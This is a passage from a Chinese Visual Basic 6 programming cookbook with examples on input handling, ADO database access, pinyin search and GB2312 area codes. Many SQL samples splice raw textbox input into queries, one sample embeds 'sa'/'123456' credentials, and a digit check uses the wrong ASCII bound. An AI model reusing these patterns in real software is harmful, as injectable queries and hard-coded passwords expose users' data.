在下面的示例中，第一条语句创建一个Variant的变量A。第二条语句将一个数组赋给变量A。最后一条语句将该数组的第二个元素的值赋给另一个变量。



Dim A As Variant
A = Array(10,20,30)
B = A(2)





注意：
 没有作为数组声明的Variant也可以表示数组。除了长度固定的字符串以及用户定义类型之外，Variant变量可以表示任何类型的数组。尽管一个包含数组的Variant和一个元素为Variant类型的数组在概念上有所不同，但对数组元素的访问方式是相同的。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为frm_rk。

（2）在frm_rk窗体上添加一个Frame控件，默认的“名称”属性为Frame1。

（3）在Frame1控件中添加一个Label控件数组（Lbl1(0)～Lbl1(4)）、4个TextBox控件。

（4）在frm_rk窗体上添加一个MSHFlexGrid控件。该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的对话框中选中Microsoft Hierarchical FlexGrid Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮。此时，MSHFlexGrid控件将出现在工具箱中。

（5）在frm_rk窗体上（MSHFlexGrid控件的上面）添加一个TextBox控件。

（6）在frm_rk窗体上添加3个Label控件和4个CommandButton控件。

（7）主要程序代码如下：



Private Sub Form_Load()
  Dim i As Integer
  For i = 0 To Combo1.UBound
    Combo1(i).AddItem "(空)"
    Combo1(i).AddItem "记录顺序号"
    Combo1(i).AddItem "年月"
    Combo1(i).AddItem "年月日"
    Combo1(i).AddItem "固定字符串"
    Combo1(i).ListIndex = 0
  Next i
End Sub
Private Sub Command1_Click()
  Dim y
  Dim i As Integer, djh As String, s As String
  y = Array("", Text3, Year(Date) & Month(Date), Date, Text2)
  For i = 0 To Combo1.UBound
      s = y(Combo1(i).ListIndex)
      If s <> "" Then
      djh = djh & s & Text1
      Else
      djh = djh & s
      End If
  Next i
  MsgBox "单据号为：" & Left(djh, Len(djh) - Len(Text1)), , "单据号生成窗口"
End Sub




秘笈心法

心法领悟213：禁止用户输入数据。

对于一些重要数据只允许普通用户查看，而不允许修改。通过设置数据集的Recordset参数adLockReadOnly可以禁止用户输入或修改数据。关键代码如下：



Dim conn As ADODB.Connection
Set conn = New ADODB.Connection
conn.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
Dim rs As ADODB.Recordset
Set rs = New ADODB.Recordset
rs.Open "select * from 招聘信息", conn, adOpenStatic, adLockReadOnly '设置为只读
rs.AddNew
rs.Fields(0) = Text1
rs.Fields(1) = Text2
rs.Fields(2) = Text3
rs.Fields(3) = Text4
rs.Fields(4) = Text5
rs.Fields(5) = Text6
rs.Update
If Err.Number = 0 Then
    MsgBox "保存成功"
Else
    Goto 1
End If
Exit Sub
1: MsgBox Err.Description





 7.5　辅助与自动化



 实例214　根据用户输入需求自动调整输入法

光盘位置：光盘\MR\07\214

高级

趣味指数：[image: ]




实例说明

本实例主要是通过设置TextBox控件的IMEMode属性实现输入法的切换。运行程序，在英文输入框中将自动输入英文格式的字符，在汉字输入框中将自动输入中文汉字，程序的运行效果如图7.18所示。

[image: ]
图7.18　根据用户输入需求自动调整输入法



关键技术

本实例主要是通过设置TextBox控件的IMEMode属性实现输入法的切换。IMEMode属性的常用设置值如表7.9所示。

表7.9　IMEMode属性的常用设置值



	设置值
	说明



	0无（默认设置）
	该值表明“无IME控制”。当IMEMode属性被设置为0时，可以使用IMEStatus函数确定当前的IME状态



	1 IME
	打开。该数值表明IME已经被打开，可以输入汉字或日文字符。该设置仅对日文、简体汉字和繁体汉字IME有效



	2 IME
	关闭。该模式表明IME被关闭，因此对象将处于英文输入模式。该设置仅对日文、简体汉字和繁体汉字IME有效




设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为“根据用户输入需求自动调整输入法”。

（2）在窗体上添加两个Label控件，将Caption属性分别设置为“英文”和“汉字”，并设置Font属性。

（3）在窗体上添加两个TextBox控件，分别用于中英文输入法切换时输入内容。

（4）主要程序代码如下：



Private Sub Text2_GotFocus()
    Text2.IMEMode = 1
End Sub
Private Sub Text2_LostFocus()
    Text2.IMEMode = 3
End Sub




秘笈心法

心法领悟214：使用ADO Data控件小知识。

ADO Data控件使用Microsoft ActiveX数据对象（ADO）来快速建立数据绑定的控件和数据提供者之间的连接。数据绑定控件是任何具有“数据源”属性的控件。数据提供者可以是任何符合OLEDB规范的数据源。使用Visual Basic的类模块也可以很方便地创建子集的数据提供者。

在应用程序中可以直接使用ActiveX数据对象，而且ADO Data控件有作为一个图形控件的优势（具有“向前”和“向后”按钮），以及一个易于使用的界面，使用户可以用最少的代码创建数据库应用程序。



 实例215　输入的数据自动加入输入列表

光盘位置：光盘\MR\07\215

高级

趣味指数：[image: ]




实例说明

本实例实现添加List控件，并将其命名为List1。在文本框Text1和文本框Text2中输入数据，单击“添加数据”按钮，保存数据并添加到列表中，程序的运行效果如图7.19所示。

[image: ]
图7.19　输入的数据自动加入输入列表



关键技术

本实例主要在列表中添加项目，加入如下列表代码：



List1.AddItem mystring




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“输入的数据自动加入输入列表”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性设置为“产品名称”和“产品价格”；添加两个TextBox控件和一个ListBox控件，名称使用默认名称。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim conn As ADODB.Connection
    Set conn = New ADODB.Connection
    conn.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
    Dim rs As ADODB.Recordset
    Set rs = New ADODB.Recordset
    rs.Open "select * from 均价", conn, adOpenStatic, adLockOptimistic
    rs.AddNew
    rs.Fields(0) = Text1
    rs.Fields(1) = Text2
    rs.Update
    List1.AddItem "产品名称  " & rs.Fields(0) & "  产品价格  " & rs.Fields(1)
End Sub
Private Sub Form_Load()
    Adodc1.ConnectionString = "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
    Adodc1.Refresh
End Sub




秘笈心法

心法领悟215：利用Format函数转换字母大小写。

Format函数可以将表达式按指定格式值返回。下面的代码就是使用该函数将字符串表达式中的字母转换为大写。



s = Format("HELLO", "<")  '返回 "hello"






 实例216　设计带记忆的数据录入窗口

光盘位置：光盘\MR\07\216

高级

趣味指数：[image: ]




实例说明

本实例主要实现了设计带记忆的数据录入窗口的功能。运行本实例程序后在“姓名”单元格中输入数据后按Enter键，即可保留历史记录，显示结果如图7.20所示。

[image: ]
图7.20　设计带记忆的数据录入窗口



关键技术

本实例需要添加控件DataGrid和ListBox，分别命名为DataGrid1和List1。本例设计思路如下：在表格内输入数据时自动将姓名字段内的数据保存到历史记录表中。在指定列的单击事件内，利用SQL语句中Select语句从历史记录表中查询姓名等于当前单元格内姓名的记录。然后利用循环语句将查找到的所有记录添加到List列表中。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“设计带记忆的数据录入窗口”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个DataGrid控件、一个Adodc控件和一个ListBox控件，均使用其默认名称。

（4）程序的运行代码如下：



Private Sub DataGrid1_buttonClick(ByVal index As Integer)
    If Not List1.Visible Then
        List1.Visible = True
        List1.Width = DataGrid1.Columns(0).Width
        List1.Left = DataGrid1.Left + DataGrid1.Columns(0).Left
        List1.Top = DataGrid1.Top + DataGrid1.RowTop(DataGrid1.Row) + DataGrid1.RowHeight
    End If
    List1.Clear
    Dim conn As ADODB.Connection
    Set conn = New ADODB.Connection
    conn.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
    Dim rs As ADODB.Recordset
    Set rs = New ADODB.Recordset
    rs.Open "select DISTINCT * from 记忆 where row=" & Val(Adodc1.Recordset.AbsolutePosition), conn, adOpenStatic, adLockOptimistic
    Do While Not rs.EOF
        List1.AddItem rs.Fields("姓名")
        rs.MoveNext
    Loop
    rs.Close
    conn.Close
    Set rs = Nothing
    Set conn = Nothing
End Sub
Private Sub DataGrid1_KeyPress(KeyAscii As Integer)
    If KeyAscii = 13 Then
        Dim conn As ADODB.Connection
        Set conn = New ADODB.Connection
        conn.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
        conn.Execute "insert into 记忆(姓名,row) values('" & DataGrid1.Columns(0).Text & "'," & Val(Adodc1.Recordset.AbsolutePosition) & ")"
        conn.Close
        Set conn = Nothing
    End If
End Sub
Private Sub DataGrid1_RowColChange(LastRow As Variant, ByVal LastCol As Integer)
    List1.Visible = False
End Sub
Private Sub Form_Load()
On Error Resume Next
    Adodc1.ConnectionString = "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
    DataGrid1.Columns(0).Button = True
    List1.Visible = False
End Sub
Private Sub List1_Click()
    DataGrid1.Columns(0).Text = List1.Text
    List1.Visible = False
End Sub




秘笈心法

心法领悟216：创建并返回一个对ActiveX对象的引用。

创建ActiveX对象，只需将CreateObject返回的对象赋给一个对象变量。例如，本例创建一个ADODB对象，通过该对象实现对数据库的访问。主要代码如下：



Private Sub Form_Load()
    Set conn = CreateObject("ADODB.connection")  '创建引用
    conn.open "provider=msdasql;dsn=ccc;uid=sa;pwd=123456;databse=ajdatebase"
    Set rs = CreateObject("ADODB.recordset")      '创建引用
    rs.open "select * from Table_1", conn, 1, 3
    Set DataGrid1.DataSource = rs
End Sub






 实例217　根据用户输入英语还是汉语决定显示内容

光盘位置：光盘\MR\07\217

高级

趣味指数：[image: ]




实例说明

本实例通过判断“按姓名搜索”文本框中的字符区码，如果区码在16～87范围内就显示汉字，否则就显示英文。

在“按姓名搜索”文本框中输入英文姓名，如“zhangsan”，单击“搜索”按钮进行搜索，显示结果如图7.21所示。在“按姓名搜索”文本框中输入中文姓名，如“张三”，单击“搜索”按钮进行搜索，显示结果如图7.22所示。
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	[image: ]




	图7.21　根据用户输入英语还是汉语决定产品的显示内容-1
	图7.22　根据用户输入英语还是汉语决定产品的显示内容-2




关键技术

本实例的设计思想是先判断输入的字符串内容是中文还是英文，然后根据中英文内容从中文数据表或英文数据表中读取数据信息，实现了根据用户输入英语还是汉语决定显示内容。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“根据用户输入英语还是汉语决定显示内容”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，Caption属性设置为“按姓名搜索”；添加一个TextBox控件、两个CommandButton控件和一个DataGrid控件。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim QW
    Dim Q As Integer
    Dim Inputstr As String
    Inputstr = Text1.Text
    QW = Hex(Asc(Inputstr))
    Q = CInt("&h" + Mid(QW, 1, 2)) - 160
    If Q >= 16 And Q <= 87 Then
        Adodc1.RecordSource = "select * from 招聘信息 where 姓名='" & Text1 & "'"
        Adodc1.Refresh
    Else
        Adodc1.RecordSource = "select * from zhaopinxinxi where name='" & Text1 & "'"
        Adodc1.Refresh
    End If
End Sub
Private Sub DataGrid1_Click()
    Text1.Text = DataGrid1.Columns(0)
End Sub
Private Sub Form_Load()
On Error Resume Next
    Dim path As String
    Adodc1.ConnectionString = "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
    Option1 = True
End Sub




秘笈心法

心法领悟217：利用Array函数设置MSFlexGrid控件的表头和列宽。

MSFlexGrid表格控件在不绑定数据控件的情况下，其表头、列宽等属性需要通过代码设置完成。下面是使用Array函数设置MSFlexGrid表格控件的表头和列宽的代码，代码如下：



  Dim i As Integer
  MSFlexGrid1.Rows = 20
  MSFlexGrid1.Cols = 10
  Dim s, y
  '设置MSFlexGrid1表格控件的列宽和表头
  s = Array("300", "2100", "1200", "1200", "1200", "600", "1200", "1065", "1200")
  y = Array("xh", "药品名称", "药品批号", "规格", "产地", "单位", "零售价", "数量", "金额")
  For i = 0 To 8
      MSFlexGrid1.ColWidth(i) = s(i)
      MSFlexGrid1.TextMatrix(0, i) = y(i)
  Next I





 7.6　数据的输入控制



 实例218　禁止录入重复数据

光盘位置：光盘\MR\07\218

中级

趣味指数：[image: ]




实例说明

如果数据表中存在大量的重复数据，则会给以后的管理带来麻烦。本实例将介绍如何禁止录入重复数据。运行程序，录入客户类别信息，单击“保存”按钮，如果录入的客户类别已经存在，则系统将提示用户，结果如图7.23所示。

[image: ]
图7.23　禁止录入重复数据



关键技术

Recordset对象表示的是来自基本表或命令执行结果的记录全集。任何时候，Recordset对象所指的当前记录均为集合内的单个记录。

使用Recordset对象的Open方法可打开代表基本表、查询结果或者以前保存的Recordset中记录的游标。下面介绍Open方法，语法如下：



recordset.Open Source, ActiveConnection, CursorType, LockType, Options




参数说明

❶ Source：可选参数。变体型。计算Command对象的变量名、SQL语句、表名、存储过程调用或持久Recordset文件名。

❷ ActiveConnection：可选参数。变体型。计算有效Connection对象变量名或字符串，包含ConnectionString参数。

❸ CursorType：可选参数。用于确定提供者打开Recordset时应该使用的游标类型，可为表7.10中的常量之一。

表7.10　打开Recordset时可使用的游标类型



	常量
	说明



	adOpenForwardOnly
	（默认值）打开仅向前类型游标



	adOpenKeyset
	打开键集类型游标



	adOpenDynamic
	打开动态类型游标



	adOpenStatic
	打开静态类型游标




❹ LockType：可选参数。确定提供者打开Recordset时应该使用的锁定（并发）类型的LockTypeEnum值，可为表7.11中的常量之一。

表7.11　提供者打开Recordset时应使用的锁定类型



	常量
	说明



	adLockReadOnly
	（默认值）只读。不能改变数据



	adLockPessimistic
	保守式锁定（逐个）。提供者完成确保成功编辑记录所需的工作，通常通过在编辑时立即锁定数据源的记录来完成



	adLockOptimistic
	开放式锁定（逐个）。提供者使用开放式锁定，只在调用Update方法时才锁定记录



	adLockBatchOptimistic
	开放式批更新。用于批更新模式（与立即更新模式相对）




❺ Options：可选参数。长整型值。用于指示提供者如何计算Source参数（如果它代表的不是Command对象），或从以前保存Recordset的文件中恢复Recordset，可为表7.12中的常量之一。

表7.12　Options常量



	设 置 值
	说明



	adCmdText
	指示提供者应该将Source作为命令的文本定义来计算



	adCmdTable
	指示ADO生成SQL查询以便从Source命名的表返回所有行



	adCmdTableDirect
	指示提供者更改从Source命名的表返回的所有行



	adCmdStoredProc
	指示提供者应该将Source视为存储的过程



	adCmdUnknown
	指示Source参数中的命令类型为未知



	adCommandFile
	指示应从Source命名的文件中恢复持久（保存的）Recordset



	adExecuteAsync
	指示应异步执行Source



	adFetchAsync
	指示在提取CacheSize属性中指定的初始数量后应该异步提取所有剩余的行




使用Recordset对象打开表之前，应首先声明该对象，代码如下：



Dim rs1 As New ADODB.Recordset




下面使用Recordset对象打开“稿费发放表”，具体代码如下：



rs.Open "select * from 稿费发放表", cnn, adOpenKeyset, adLockOptimistic




Recordset对象还可以打开带查询结果的表。例如，打开“序号”等于Label控件中显示的序号，其代码如下：



rs.Open "select * from 稿费发放表 where 序号='" + LblNumber.Caption + "'", cnn, adOpenKeyset, adLockOptimistic




设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为main_jbzl_khlb。

（2）在main_jbzl_khlb窗体上添加一个ImageList控件、一个ToolBar控件。这两个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的对话框中选中Microsoft Windows Common Controls 6.0（SP4）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中，其中一个是ImageList控件，另一个是ToolBar控件。

（3）在main_jbzl_khlb窗体上添加一个Frame控件，默认的“名称”属性为Frame1。

（4）在Frame1控件中添加两个Label控件和一个TextBox控件数组（Text1(0)～Text1(1)）。

（5）在main_jbzl_khlb窗体上添加一个ADO控件和一个DataGrid控件。这两个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的对话框中选中Microsoft ADO Data Control 6.0（SP4）（OLEDB）和Microsoft DataGrid Control 6.0（SP5）（OLEDB）复选框，单击“确定”按钮。此时，ADO控件和DataGrid控件将出现在工具箱中。

（6）主要程序代码如下：



Dim rs1 As New ADODB.Recordset
Public blnAdd As Boolean
Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
  Select Case Button.Key
     Case "add"
     '此处代码省略，详细内容可参见光盘
     Case "save"
       If Text1(0).Text = "" Then
          MsgBox "系统不允许" & Label1 & "为空！", , "提示窗口"
          Exit Sub
       End If
       On Error GoTo SaveErr
       If blnAdd = True Then
         rs1.Open "select * from 客户类别表 where 客户类别='" + Text1(0) + "'", Cnn, adOpenKeyset, adLockOptimistic
         If rs1.RecordCount > 0 Then
           MsgBox "此记录已存在！", , "提示窗口"
         Else
           Cnn.Execute ("insert into 客户类别表(客户类别,备注,录入日期) values('" + Text1(0) + "','" + Text1(1) + _
           "','" + Str(Date) + "')")
           Adodc1.Refresh
           tlbState Toolbar1, False
           Text1(0).Locked = True: Text1(1).Locked = True
         End If
         rs1.Close
       Else
         rs1.Open "select * from 客户类别表 where 客户类别='" + Text1(0) + "'", Cnn, adOpenKeyset, adLockOptimistic
         If rs1.RecordCount > 0 And Text1(0) <> DataGrid1.Columns(0) Then
           MsgBox "此记录已存在！", , "提示窗口"
         Else
           Cnn.Execute ("update 客户类别表 set 客户类别 ='" + Text1(0) + "',备注='" + Text1(1) + "',修改日期='" + Str(Date) + "'where 客户类别='" + DataGrid1.Columns(0) + "'")
           Adodc1.Refresh
           tlbState Toolbar1, False
           Text1(0).Locked = True: Text1(1).Locked = True
         End If
         rs1.Close
       End If
       Exit Sub
SaveErr:
       MsgBox Err.Description
  End Select
End Sub




秘笈心法

心法领悟218：Dir函数的应用示例。

使用Dir函数来检查某些文件或目录是否存在。在Macintosh计算机上，默认驱动器名称是HD，并且路径部分由冒号取代反斜线隔开。而且Microsoft Windows的通配符在Mac中可以作为有效字符出现在文件名中。也可以使用MacID函数来指定文件组。



StrFile = Dir("C:\WINDOWS\WIN.ini")  '变量StrFile中的值为"WIN.INI" （如果该文件存在）




返回按条件第一个找到的文件名。



MyFile = Dir("C:\WINDOWS\*.ini")




返回找到的第一个隐式*.TXT文件。



MyFile = Dir("*.TXT", vbHidden)




显示 E:\目录下的第一项文件名称。



MyPath = "E:\"   '指定路径
MyName = Dir(MyPath, vbDirectory)   '找寻第一项






 实例219　只允许在指定的列表框中选择输入

光盘位置：光盘\MR\07\219

高级

趣味指数：[image: ]




实例说明

ListBox控件可以显示项目列表，在列表中可以选择一项或多项。在工资管理系统中通过两个ListBox控件完成工资项目的选择，一个显示源工资项目，另一个显示目标项目，如图7.24所示。

[image: ]
图7.24　只允许在指定的列表框中选择输入



关键技术

使用AddItem或RemoveItem方法可以添加或者删除ListBox控件中的项目。对List、ListCount和ListIndex属性进行设置即可访问ListBox中的项目，也可以在设计时使用List属性在列表中增加项目。下面将介绍AddItem和RemoveItem方法。

（1）AddItem方法

该方法用于将项目添加到ListBox控件，不支持命名参数，语法如下：



object.AddItem item, index




参数说明

❶ object：必选参数。一个对象表达式。

❷ item：必选参数。字符串表达式，它用来指定添加到该对象的项目。

❸ index：可选参数。一个整数，它用来指定新项目或行在该对象中的位置。对于ListBox控件的首项index为0。


说明：
 如果给出的index值有效，则item将放置在object中相应的位置。如果省略index，当Sorted属性设置为True时，item将添加到恰当的排序位置，当Sorted属性设置为False时，item将添加到列表的结尾。

如果将ListBox控件绑定到ADO控件上，则它将不支持AddItem方法。

（2）RemoveItem方法

该方法用于从ListBox控件中删除一项，不支持命名参数，语法如下：



object.RemoveItem index




参数说明

❶ object：必选参数。一个对象表达式。

❷ index：必选参数。一个整数，表示要删除的项或行在对象中的位置。对于ListBox控件的首项index为0。


说明：
 如果将ListBox控件绑定到ADO控件上，则它将不支持RemoveItem方法。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体上添加两个ListBox控件和4个CommandButton控件，设置ListBox控件的“名称”属性分别为lstFields1和lstFields 2。

（3）主要程序代码如下：



Dim rs1 As New ADODB.Recordset
Dim i As Integer
Private Sub Form_Load()
    '返回一个数据库
  Set cnn = New ADODB.Connection
  cnn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\gzgl.mdb;Persist Security Info=False"
  rs1.Open "select * from 工资数据表", cnn, adOpenKeyset, adLockOptimistic
  Dim fld
  Set fld = rs1.Fields
  For i = 4 To 13
      lstFields1.AddItem fld(i).Name
  Next i
  lstFields1.AddItem fld(15).Name
  lstFields1.AddItem fld(16).Name
  lstFields1.AddItem fld(17).Name
  lstFields1.AddItem fld(19).Name
  rs1.Close
End Sub
Private Sub Command1_Click()
  For i = 0 To lstFields1.ListCount - 1
      lstFields1.ListIndex = i
      lstFields2.AddItem (lstFields1.Text)
  Next i
  lstFields1.Clear
End Sub
Private Sub Command2_Click()
  lstFields2.AddItem lstFields1.Text
  lstFields1.RemoveItem lstFields1.ListIndex
End Sub
Private Sub Command3_Click()
  lstFields1.AddItem lstFields2.Text
  lstFields2.RemoveItem lstFields2.ListIndex
End Sub
Private Sub Command4_Click()
  For i = 0 To lstFields2.ListCount - 1
      lstFields2.ListIndex = i
      lstFields1.AddItem (lstFields2.Text)
  Next i
  lstFields2.Clear
End Sub




秘笈心法

心法领悟219：FileLen函数的应用示例。

使用FileLen函数来返回指定文件夹中文件的字节长度。



StrLen = FileLen("D:\我的文件\我的程序.txt")   '变量StrLen的返回值为“我的程序.txt”的长度
'即假如“我的程序.txt”的长度为20，则变量StrLen的值也为20 




使用FileLen函数来返回驱动器下文件的字节长度。



StrLen = FileLen("D:\系统日志.ini")   '变量StrLen的返回值为“系统日志.ini”的长






 实例220　禁止用户输入数据

光盘位置：光盘\MR\07\220

高级

趣味指数：[image: ]




实例说明

本实例主要实现了禁止用户输入数据的功能。运行程序，在文本框中输入内容，单击“添加数据”按钮，弹出提示对话框，程序的运行效果如图7.25所示。

[image: ]
图7.25　禁止用户输入数据



关键技术

本实例的设计思想是：对于一些重要的数据只允许普通用户查看，而不允许修改。通过设置数据集的Recordset参数adLockReadOnly可以禁止用户输入或修改数据。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“禁止用户输入数据”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加6个Label控件，6个TextBox控件和两个CommandButton控件，并设置各自的属性。

（4）在窗体上添加一个DataGrid控件。程序的运行代码如下：



Dim conn As ADODB.Connection
Set conn = New ADODB.Connection
conn.Open "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
Dim rs As ADODB.Recordset
Set rs = New ADODB.Recordset
rs.Open "select * from 招聘信息", conn, adOpenStatic, adLockReadOnly '设置为只读
rs.AddNew
rs.Fields(0) = Text1
rs.Fields(1) = Text2
rs.Fields(2) = Text3
rs.Fields(3) = Text4
rs.Fields(4) = Text5
rs.Fields(5) = Text6
rs.Update
If Err.Number = 0 Then
    MsgBox "保存成功"
Else
    Goto 1
End If
Exit Sub
1: MsgBox Err.Description




秘笈心法

心法领悟220：FileLen函数的典型应用。

FileLen函数用于获取打开文件的长度，如在编写文件管理类软件时，可以获取某一路径下文件的长度，从而显示出该文件的大小，实现的关键代码如下：



Private Sub OkLen()     '获取文件长度函数的事件代码
    If Common1.FileName <> "" Then
         Lab_Len.Caption = FileLen(Common1.FileName) & " 个字节"
    End If
End Sub




其中，在输入打开文件名称时，不要带上文件的扩展名。若要取得一个打开文件的长度大小，需使用LOF函数。



 实例221　化繁为简——拼音简码查询

光盘位置：光盘\MR\07\221

高级

趣味指数：[image: ]




实例说明

本例实现了利用拼音简码查询药品的功能。运行程序，在入库查询窗体中的“请输入药品名称”对应的文本框中输入要查询的药品的拼音简码，单击“搜索”按钮进行查询，查询结果如图7.26所示。

[image: ]
图7.26　拼音简码查询



关键技术

汉字的国标码的特点是在某一范围内的拼音声母首字母都是相同的。利用汉字国标码的这一特点，判断某汉字是否在某字母所对应的国标码范围内，实现拼音简码查询的功能。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，Caption属性设置为“入库查询”，StartUp Position属性设置为“2-屏幕中心”。

（3）在窗体上添加一个DataGrid控件，用于显示数据库中药品的信息。

（4）在窗体上添加一个TextBox控件，用于输入搜索的内容；添加一个CommandButton控件，执行搜索命令等。

（5）程序的关键代码如下。

首先编写一自定义过程，用于将字母转换为汉字国标码的上下限，并利用该上下限确定字段内容中的汉字的拼音首字母是否为指定的查询关键字。将字段内容中的汉字转换为国标码的方法是利用SQL中的CAST函数将字符串转换为二进制类型。

① 自定义过程用于将字母转换为汉字国标码的上下限。

主要代码如下：



Private Sub ctohex(ByVal i As String)
    Select Case LCase(i)
        Case "a": d = "0xB0A1": u = "0xB0C4"
        Case "b": d = "0xB0C5": u = "0xB2C0"
        Case "c": d = "0xB2C1": u = "0xB4ED"
        Case "d": d = "0xB4EE": u = "0xB6E9"
        Case "e": d = "0xB6EA": u = "0xB7A1"
        Case "f": d = "0xB7A2": u = "0xB8C0"
        Case "g": d = "0xB8C1": u = "0xB9FD"
        Case "h": d = "0xB9FE": u = "0xBBF6"
        Case "j": d = "0xBBF7": u = "0xBFA5"
        Case "k": d = "0xBFA6": u = "0xC0AB"
        Case "l": d = "0xC0AC": u = "0xC2E7"
        Case "m": d = "0xC2E8": u = "0xC4C2"
        Case "n": d = "0xC4C3": u = "0xC5B5"
        Case "o": d = "0xC5B6": u = "0xC5BD"
        Case "p": d = "0xC5BE": u = "0xC6D9"
        Case "q": d = "0xC6DA": u = "0xC8BA"
        Case "r": d = "0xC8BB": u = "0xC8F5"
        Case "s": d = "0xC8F6": u = "0xCBF9"
        Case "t": d = "0xCBFA": u = "0xCDD9"
        Case "w": d = "0xCDDA": u = "0xCEF3"
        Case "x": d = "0xCEF4": u = "0xD1B8"
        Case "y": d = "0xD1B9": u = "0xD4D0"
        Case "z": d = "0xD4D1": u = "0xD7F9"
    End Select
End Sub




② 判断输入的查询关键字是否为拼音简码。

通过判断文本框内输入的文字的字节数和文字数是否相同，来确定输入的查询条件为拼音简码或是汉字。

主要代码如下：



If Len(Text1.Text) = LenB(StrConv(Text1.Text, vbFromUnicode)) Then




③ 生成拼音简码查询语句并查询。

对文本框内输入的字母进行遍历，判断字段内容中每一汉字的国标码是否在指定的声母首字母范围内，或判断字段内容中的字母是否和输入条件中相应位置的字母相同。获取汉字的国标码方法是在SQL语句中将字符串类型转换为二进制类型。下面代码中TextBox控件Text1中内容为指定的查询条件，变量u、d分别代表拼音声母首字母所对应的国标码范围的上下限。变量sqlstr用于保存SQL查询语句。

主要代码如下：



    Dim sqlstr As String
    Dim i As Integer
    If Len(Text1.Text) > 0 Then
    If Len(Text1.Text) = LenB(StrConv(Text1.Text, vbFromUnicode)) Then
        For i = 1 To Len(Text1.Text)
            ctohex Mid(Text1.Text, i, 1)
            sqlstr = sqlstr & "(cast(cast(substring(药品名称," & i & ",1) as varchar) as binary(2)) between " & d & " and " & u & " or substring(药品名称," & i & ",1)='" & Mid(Text1.Text, i, 1) & "'" & ") and "
            Next i
        If Right(sqlstr, 5) = " and " Then
            sqlstr = Left(sqlstr, Len(sqlstr) - 5)
        End If
        Adodc1.RecordSource = "select * from tb_warehouse_detailed where " & sqlstr
        Adodc2.RecordSource = "select count(*) as 品种数,sum(数量) as 入库数量,sum(金额) as 入库金额 from tb_warehouse_detailed where "




④ 生成汉字普通模糊查询代码并查询。

当输入条件全为汉字时就利用最传统的模糊查询方法进行查询。判断输入条件是否全为汉字的方法是判断文字数的二倍是否等于输入条件中的字节数。

主要代码如下：



    If 2 * Len(Text1.Text) = LenB(StrConv(Text1.Text, vbFromUnicode)) Then
        Adodc1.RecordSource = "select * from tb_warehouse_detailed where 药品名称 like '%" & Text1.Text & "%'"
        Adodc2.RecordSource = "select count(*) as 品种数,sum(数量) as 入库数量,sum(金额) as 入库金额 from tb_warehouse_detailed where 药品名称 like '%" & Text1.Text & "%'"
    Else
        MsgBox "请输入全英文或全汉字", vbCritical
        Exit Sub
    End If




⑤ 数据显示。

将记录集与网格控件进行绑定。由于本查询窗体内使用ADO控件进行数据检索，所以将网格控件与ADO控件进行绑定。

主要代码如下：



Set DataGrid1.DataSource = Adodc1




秘笈心法

心法领悟221：验证用户输入的数据是否为数字。



Private Sub Command1_Click()
  If Asc(Text1.Text) > 57 Or Asc(Text1.Text) < 38 Then
      MsgBox "请输入0～9之间的数字"
  End If
End Sub






 实例222　汉字和区位码互转

光盘位置：光盘\MR\07\222

中级

趣味指数：[image: ]




实例说明

[image: ]
图7.27　汉字和区位码互转



本实例是一个实现汉字和区位码相互转换的程序。运行程序，在“输入单个汉字”文本框中输入一个汉字，单击“转”按钮，即可在其旁边的文本框中显示该汉字的区位码；在“输入区位码”文本框中输入区位码，单击“转”按钮，即可在其旁边的文本框中显示汉字，结果如图7.27所示。

关键技术

1980年，为了使每一个汉字都有一个全国统一的代码，我国颁布了第一个汉字编码的国家标准GB2312-80《信息交换用汉字编码字符集基本集》，简称GB2312，这个字符集是我国中文信息处理技术的发展基础，也是国内所有汉字系统的统一标准。到了后来又公布了国家标准GB18030-2000《信息交换用汉字编码字符集基本集的扩充》，简称GB18030，这是我国继GB2312-1980和GB13000-1993之后最重要的汉字编码标准，同时也是未来我国计算机系统必须遵循的基础性标准之一。

中文汉字字符可以使用区位码来表示，可参见如下网址。

（1）汉字区位码表：http://navicy2005.home4u.china.com/resource/gb2312tbl.htm。

（2）汉字区位码代码表：http://navicy2005.home4u.china.com/resource/gb2312tbm.htm。

